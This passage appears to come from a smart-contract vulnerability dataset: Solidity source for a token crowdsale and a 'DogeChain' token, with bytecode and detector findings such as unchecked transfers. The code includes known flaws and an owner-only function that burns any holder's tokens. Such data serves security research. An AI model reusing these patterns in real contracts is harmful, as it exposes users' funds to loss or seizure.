(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } } /** * @title Interface of Price oracle * @dev Implements methods of price oracle used in the crowdsale * @author OnGrid Systems */ contract PriceOracleIface { uint256 public ethPriceInCents; function getUsdCentsFromWei(uint256 _wei) public view returns (uint256) { } } /** * @title Interface of ERC-20 token * @dev Implements transfer methods and event used throughout crowdsale * @author OnGrid Systems */ contract TransferableTokenIface { function transfer(address to, uint256 value) public returns (bool) { } function balanceOf(address who) public view returns (uint256) { } event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title CrowdSale contract for Vera.jobs * @dev Keep the list of investors passed KYC, receive ethers to fallback, * calculate correspinding amount of tokens, add bonus (depending on the deposit size) * then transfers tokens to the investor's account * @author OnGrid Systems */ contract VeraCrowdsale is RBAC { using SafeMath for uint256; // Price of one token (1.00000...) in USD cents uint256 public tokenPriceInCents = 200; // Minimal amount of USD cents to invest. Transactions of less value will be reverted. uint256 public minDepositInCents = 100; // Amount of USD cents raised. Continuously increments on each transaction. // Note: may be irrelevant because the actual amount of harvested ethers depends on ETH/USD price at the moment. uint256 public centsRaised; // Amount of tokens distributed by this contract. // Note: doesn't include previous phases of tokensale. uint256 public tokensSold; // Address of VERA ERC-20 token contract TransferableTokenIface public token; // Address of ETH price feed PriceOracleIface public priceOracle; // Wallet address collecting received ETH address public wallet; // constants defining roles for access control string public constant ROLE_ADMIN = "admin"; string public constant ROLE_BACKEND = "backend"; string public constant ROLE_KYC_VERIFIED_INVESTOR = "kycVerified"; // Value bonus configuration struct AmountBonus { // To understand which bonuses were applied bonus contains binary flag. // If several bonuses applied ids get summarized in resulting event. // Use values with a single 1-bit like 0x01, 0x02, 0x04, 0x08 uint256 id; // amountFrom and amountTo define deposit value range. // Bonus percentage applies if deposit amount in cents is within the boundaries uint256 amountFrom; uint256 amountTo; uint256 bonusPercent; } // The list of available bonuses. Filled by the constructor on contract initialization AmountBonus[] public amountBonuses; /** * Event for token purchase logging * @param investor who received tokens * @param ethPriceInCents ETH price at the moment of purchase * @param valueInCents deposit calculated to USD cents * @param bonusPercent total bonus percent (sum of all bonuses) * @param bonusIds flags of all the bonuses applied to the purchase */ event TokenPurchase( address indexed investor, uint256 ethPriceInCents, uint256 valueInCents, uint256 bonusPercent, uint256 bonusIds ); /** * @dev modifier to scope access to admins * // reverts if called not by admin */ modifier onlyAdmin() { checkRole(msg.sender, ROLE_ADMIN); _; } /** * @dev modifier to scope access of backend keys stored on * investor's portal * // reverts if called not by backend */ modifier onlyBackend() { checkRole(msg.sender, ROLE_BACKEND); _; } /** * @dev modifier allowing calls from investors successfully passed KYC verification * // reverts if called by investor who didn't pass KYC via investor's portal */ modifier onlyKYCVerifiedInvestor() { checkRole(msg.sender, ROLE_KYC_VERIFIED_INVESTOR); _; } /** * @dev Constructor initializing Crowdsale contract * @param _token address of the token ERC-20 contract. * @param _priceOracle ETH price feed * @param _wallet address where received ETH get forwarded */ constructor( TransferableTokenIface _token, PriceOracleIface _priceOracle, address _wallet ) public { require(_token != address(0), "Need token contract address"); require(_priceOracle != address(0), "Need price oracle contract address"); require(_wallet != address(0), "Need wallet address"); addRole(msg.sender, ROLE_ADMIN); token = _token; priceOracle = _priceOracle; wallet = _wallet; // solium-disable-next-line arg-overflow amountBonuses.push(AmountBonus(0x1, 800000, 1999999, 20)); // solium-disable-next-line arg-overflow amountBonuses.push(AmountBonus(0x2, 2000000, 2**256 - 1, 30)); } /** * @dev Fallback function receiving ETH sent to the contract address * sender must be KYC (Know Your Customer) verified investor. */ function () external payable onlyKYCVerifiedInvestor { uint256 valueInCents = priceOracle.getUsdCentsFromWei(msg.value); buyTokens(msg.sender, valueInCents); wallet.transfer(msg.value); } /** * @dev Withdraws all remaining (not sold) tokens from the crowdsale contract * @param _to address of tokens receiver */ function withdrawTokens(address _to) public onlyAdmin { uint256 amount = token.balanceOf(address(this)); require(amount > 0, "no tokens on the contract"); token.transfer(_to, amount); } /** * @dev Called when investor's portal (backend) receives non-ethereum payment * @param _investor address of investor * @param _cents received deposit amount in cents */ function buyTokensViaBackend(address _investor, uint256 _cents) public onlyBackend { if (! RBAC.hasRole(_investor, ROLE_KYC_VERIFIED_INVESTOR)) { addKycVerifiedInvestor(_investor); } buyTokens(_investor, _cents); } /** * @dev Computes total bonuses amount by value * @param _cents deposit amount in USD cents * @return total bonus percent (sum of applied bonus percents), bonusIds (sum of applied bonus flags) */ function computeBonuses(uint256 _cents) public view returns (uint256, uint256) { uint256 bonusTotal; uint256 bonusIds; for (uint i = 0; i < amountBonuses.length; i++) { if (_cents >= amountBonuses[i].amountFrom && _cents <= amountBonuses[i].amountTo) { bonusTotal += amountBonuses[i].bonusPercent; bonusIds += amountBonuses[i].id; } } return (bonusTotal, bonusIds); } /** * @dev Calculates amount of tokens by cents * @param _cents deposit amount in USD cents * @return amount of tokens investor receive for the deposit */ function computeTokens(uint256 _cents) public view returns (uint256) { uint256 tokens = _cents.mul(10 ** 18).div(tokenPriceInCents); (uint256 bonusPercent, ) = computeBonuses(_cents); uint256 bonusTokens = tokens.mul(bonusPercent).div(100); if (_cents >= minDepositInCents) { return tokens.add(bonusTokens); } } /** * @dev Add admin role to an address * @param addr address */ function addAdmin(address addr) public onlyAdmin { addRole(addr, ROLE_ADMIN); } /** * @dev Revoke admin privileges from an address * @param addr address */ function delAdmin(address addr) public onlyAdmin { removeRole(addr, ROLE_ADMIN); } /** * @dev Add backend privileges to an address * @param addr address */ function addBackend(address addr) public onlyAdmin { addRole(addr, ROLE_BACKEND); } /** * @dev Revoke backend privileges from an address * @param addr address */ function delBackend(address addr) public onlyAdmin { removeRole(addr, ROLE_BACKEND); } /** * @dev Mark investor's address as KYC-verified person * @param addr address */ function addKycVerifiedInvestor(address addr) public onlyBackend { addRole(addr, ROLE_KYC_VERIFIED_INVESTOR); } /** * @dev Revoke KYC verification from the person * @param addr address */ function delKycVerifiedInvestor(address addr) public onlyBackend { removeRole(addr, ROLE_KYC_VERIFIED_INVESTOR); } /** * @dev Calculates and applies bonuses and implements actual token transfer and events * @param _investor address of the beneficiary receiving tokens * @param _cents amount of deposit in cents */ function buyTokens(address _investor, uint256 _cents) internal { (uint256 bonusPercent, uint256 bonusIds) = computeBonuses(_cents); uint256 tokens = computeTokens(_cents); require(tokens > 0, "value is not enough"); token.transfer(_investor, tokens); centsRaised = centsRaised.add(_cents); tokensSold = tokensSold.add(tokens); emit TokenPurchase( _investor, priceOracle.ethPriceInCents(), _cents, bonusPercent, bonusIds ); } }
0x6080604052600436106101325763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c811461023c578063217fe6c6146102a55780632630c12f146103205780632ac016ad146103515780632e0025c11461037257806349df728c146103fc578063518ab2a81461041d578063521eb273146104445780635259fcb41461045957806362d918551461046e5780637025b3ac1461048f57806370480275146104a45780637488ad7c146104c55780637dabb4d6146104da57806399b22701146104fb578063a3fc81cb1461051c578063aebf1e3d14610540578063c7a1f22114610558578063d036261f1461056d578063d391014b146105ab578063e6f02bf9146105c0578063f22b683e146105f1578063fc0c546a14610612575b6000610161336040805190810160405280600b8152602001600080516020611296833981519152815250610627565b600654604080517f0c7e30b70000000000000000000000000000000000000000000000000000000081523460048201529051600160a060020a0390921691630c7e30b7916024808201926020929091908290030181600087803b1580156101c757600080fd5b505af11580156101db573d6000803e3d6000fd5b505050506040513d60208110156101f157600080fd5b505190506101ff3382610695565b600754604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610238573d6000803e3d6000fd5b5050005b34801561024857600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526102a3958335600160a060020a03169536956044949193909101919081908401838280828437509497506106279650505050505050565b005b3480156102b157600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261030c958335600160a060020a03169536956044949193909101919081908401838280828437509497506108c39650505050505050565b604080519115158252519081900360200190f35b34801561032c57600080fd5b50610335610938565b60408051600160a060020a039092168252519081900360200190f35b34801561035d57600080fd5b506102a3600160a060020a0360043516610947565b34801561037e57600080fd5b506103876109a1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103c15781810151838201526020016103a9565b50505050905090810190601f1680156103ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040857600080fd5b506102a3600160a060020a03600435166109c6565b34801561042957600080fd5b50610432610b94565b60408051918252519081900360200190f35b34801561045057600080fd5b50610335610b9a565b34801561046557600080fd5b50610432610ba9565b34801561047a57600080fd5b506102a3600160a060020a0360043516610baf565b34801561049b57600080fd5b50610387610c03565b3480156104b057600080fd5b506102a3600160a060020a0360043516610c28565b3480156104d157600080fd5b50610432610c7c565b3480156104e657600080fd5b506102a3600160a060020a0360043516610c82565b34801561050757600080fd5b506102a3600160a060020a0360043516610cdc565b34801561052857600080fd5b506102a3600160a060020a0360043516602435610d33565b34801561054c57600080fd5b50610432600435610da6565b34801561056457600080fd5b50610432610e23565b34801561057957600080fd5b50610585600435610e29565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156105b757600080fd5b50610387610e61565b3480156105cc57600080fd5b506105d8600435610e83565b6040805192835260208301919091528051918290030190f35b3480156105fd57600080fd5b506102a3600160a060020a0360043516610f44565b34801561061e57600080fd5b50610335610f9e565b610691826000836040518082805190602001908083835b6020831061065d5780518252601f19909201916020918201910161063e565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610fad565b5050565b60008060006106a384610e83565b925092506106b084610da6565b90506000811161072157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f76616c7565206973206e6f7420656e6f75676800000000000000000000000000604482015290519081900360640190fd5b600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038881166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561079057600080fd5b505af11580156107a4573d6000803e3d6000fd5b505050506040513d60208110156107ba57600080fd5b50506003546107cf908563ffffffff610fc216565b6003556004546107e5908263ffffffff610fc216565b6004908155600654604080517f3edfe35e0000000000000000000000000000000000000000000000000000000081529051600160a060020a03808a16947f8fd7c1cf2b9cceb829553742c07a11ee82ed91a2e2d4791328461df6aa6e8a899490911692633edfe35e92818301926020928290030181600087803b15801561086b57600080fd5b505af115801561087f573d6000803e3d6000fd5b505050506040513d602081101561089557600080fd5b5051604080519182526020820188905281810187905260608201869052519081900360800190a25050505050565b600061092f836000846040518082805190602001908083835b602083106108fb5780518252601f1990920191602091820191016108dc565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610fcf565b90505b92915050565b600654600160a060020a031681565b6109713360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e81604080519081016040528060078152602001600080516020611276833981519152815250610fee565b50565b6040805180820190915260078152600080516020611276833981519152602082015281565b60006109f23360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b600554604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610a5857600080fd5b505af1158015610a6c573d6000803e3d6000fd5b505050506040513d6020811015610a8257600080fd5b5051905060008111610af557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f6e6f20746f6b656e73206f6e2074686520636f6e747261637400000000000000604482015290519081900360640190fd5b600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610b6457600080fd5b505af1158015610b78573d6000803e3d6000fd5b505050506040513d6020811015610b8e57600080fd5b50505050565b60045481565b600754600160a060020a031681565b60035481565b610bd93360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e8160408051908101604052806005815260200160d960020a6430b236b4b70281525061110f565b60408051808201909152600b8152600080516020611296833981519152602082015281565b610c523360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e8160408051908101604052806005815260200160d960020a6430b236b4b702815250610fee565b60025481565b610caf33604080519081016040528060078152602001600080516020611276833981519152815250610627565b61099e816040805190810160405280600b8152602001600080516020611296833981519152815250610fee565b610d063360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e8160408051908101604052806007815260200160008051602061127683398151915281525061110f565b610d6033604080519081016040528060078152602001600080516020611276833981519152815250610627565b610d8d826040805190810160405280600b81526020016000805160206112968339815191528152506108c3565b1515610d9c57610d9c82610c82565b6106918282610695565b600080600080610dd9600154610dcd670de0b6b3a7640000886111f090919063ffffffff16565b9063ffffffff61121916565b9250610de485610e83565b509150610dfc6064610dcd858563ffffffff6111f016565b6002549091508510610e1b57610e18838263ffffffff610fc216565b93505b505050919050565b60015481565b6008805482908110610e3757fe5b60009182526020909120600490910201805460018201546002830154600390930154919350919084565b604080518082019091526005815260d960020a6430b236b4b702602082015281565b6000808080805b600854811015610f39576008805482908110610ea257fe5b9060005260206000209060040201600101548610158015610ee257506008805482908110610ecc57fe5b9060005260206000209060040201600201548611155b15610f31576008805482908110610ef557fe5b90600052602060002090600402016003015483019250600881815481101515610f1a57fe5b906000526020600020906004020160000154820191505b600101610e8a565b509094909350915050565b610f7133604080519081016040528060078152602001600080516020611276833981519152815250610627565b61099e816040805190810160405280600b815260200160008051602061129683398151915281525061110f565b600554600160a060020a031681565b610fb78282610fcf565b151561069157600080fd5b8181018281101561093257fe5b600160a060020a03166000908152602091909152604090205460ff1690565b611058826000836040518082805190602001908083835b602083106110245780518252601f199092019160209182019101611005565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092209291505061122e565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156110d05781810151838201526020016110b8565b50505050905090810190601f1680156110fd5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b611179826000836040518082805190602001908083835b602083106111455780518252601f199092019160209182019101611126565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050611253565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a82826040518083600160a060020a0316600160a060020a031681526020018060200182810382528381815181526020019150805190602001908083836000838110156110d05781810151838201526020016110b8565b600082151561120157506000610932565b5081810281838281151561121157fe5b041461093257fe5b6000818381151561122657fe5b049392505050565b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b600160a060020a0316600090815260209190915260409020805460ff1916905556006261636b656e64000000000000000000000000000000000000000000000000006b79635665726966696564000000000000000000000000000000000000000000a165627a7a723058201bcb6b2e4731bfe9044fd571e371be8ea4254c0429f35f783325d8c42faa5ef40029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,827
0x8ed2db19301e5a7ab9180bea32d3c45437646aa2
pragma solidity 0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract DogeChain is ERC20, Ownable { constructor () public ERC20 ("The DOGE CHAIN", "DCHAIN", 18) { _mint(msg.sender, 1000000000000E18); } /** * @dev Mint new tokens, increasing the total supply and balance of "account" * Can only be called by the current owner. */ function mint(address account, uint256 value) public onlyOwner { _mint(account, value); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146104e7578063a9059cbb1461054d578063dd62ed3e146105b3578063f2fde38b1461062b57610100565b8063715018a6146103c25780638da5cb5b146103cc57806395d89b41146104165780639dc29fac1461049957610100565b8063313ce567116100d3578063313ce5671461029257806339509351146102b657806340c10f191461031c57806370a082311461036a57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d61066f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610711565b604051808215151515815260200191505060405180910390f35b6101f661083c565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610846565b604051808215151515815260200191505060405180910390f35b61029a610a4e565b604051808260ff1660ff16815260200191505060405180910390f35b610302600480360360408110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a65565b604051808215151515815260200191505060405180910390f35b6103686004803603604081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c9a565b005b6103ac6004803603602081101561038057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d72565b6040518082815260200191505060405180910390f35b6103ca610dba565b005b6103d4610f45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61041e610f6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045e578082015181840152602081019050610443565b50505050905090810190601f16801561048b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104e5600480360360408110156104af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611011565b005b610533600480360360408110156104fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e9565b604051808215151515815260200191505060405180910390f35b6105996004803603604081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131e565b604051808215151515815260200191505060405180910390f35b610615600480360360408110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611335565b6040518082815260200191505060405180910390f35b61066d6004803603602081101561064157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113bc565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107075780601f106106dc57610100808354040283529160200191610707565b820191906000526020600020905b8154815290600101906020018083116106ea57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561074c57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60006108d782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600160008673ffff